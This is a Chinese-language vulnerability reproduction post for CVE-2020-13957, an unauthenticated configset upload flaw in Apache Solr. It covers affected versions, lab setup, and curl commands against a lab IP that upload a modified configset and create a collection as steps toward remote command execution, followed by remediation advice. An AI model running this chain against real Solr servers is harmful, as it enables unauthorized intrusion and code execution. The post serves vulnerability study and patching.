CVE-2020-13957 Apache Solr未授權上傳漏洞復現
阿新 • • 發佈:2021-08-22
0x01 漏洞概述
Apache Solr是美國阿帕奇(Apache)軟體基金會的一款基於Lucene(一款全文搜尋引擎)的搜尋伺服器。該產品支援層面搜尋、垂直搜尋、高亮顯示搜尋結果等。
Apache Solr 存在檔案上傳安全漏洞,該漏洞源於缺少必要的身份驗證,攻擊者可利用該漏洞遠端程式碼執行。
0x02 影響版本
Apache Solr: 6.6.0 - 6.6.6 7.0.0 - 7.7.3 8.0.0 - 8.6.2 |
0x03 環境搭建
- windows10 x64
- jdk 1.8.0
①下載solr 7.0.1版本
http://archive.apache.org/dist/lucene/solr/7.0.1/
②在解壓好的bin目錄下執行
solr.cmd start -c
③瀏覽器訪問檢視
IP+埠8983即可訪問
環境搭建完畢。
0x04 漏洞復現
①將solr目錄\server\solr\configsets\_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改為true。(為遠端命令執行做準備)
②將conf目錄檔案打包成zip並上傳
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://192.168.114.180:8983/solr/admin/configs?action=UPLOAD&name=file1"
③根據UPLOAD的配置,建立一個新的配置,繞過不能通過直接UPLOAD建立collection的限制
curl "http:/192.168.114.180:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"
④
curl "http:/192.168.114.180:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"
⑤利用已上傳的collection進行遠端命令執行
0x05 修復建議
①升級Solr至最新版本
②通過設定系統屬性來禁用 ConfigSets API 中的 UPLOAD 命令:{{configset.upload.enabled}} 到 {{false}}
③使用身份驗證/授權並確保不允許未知請求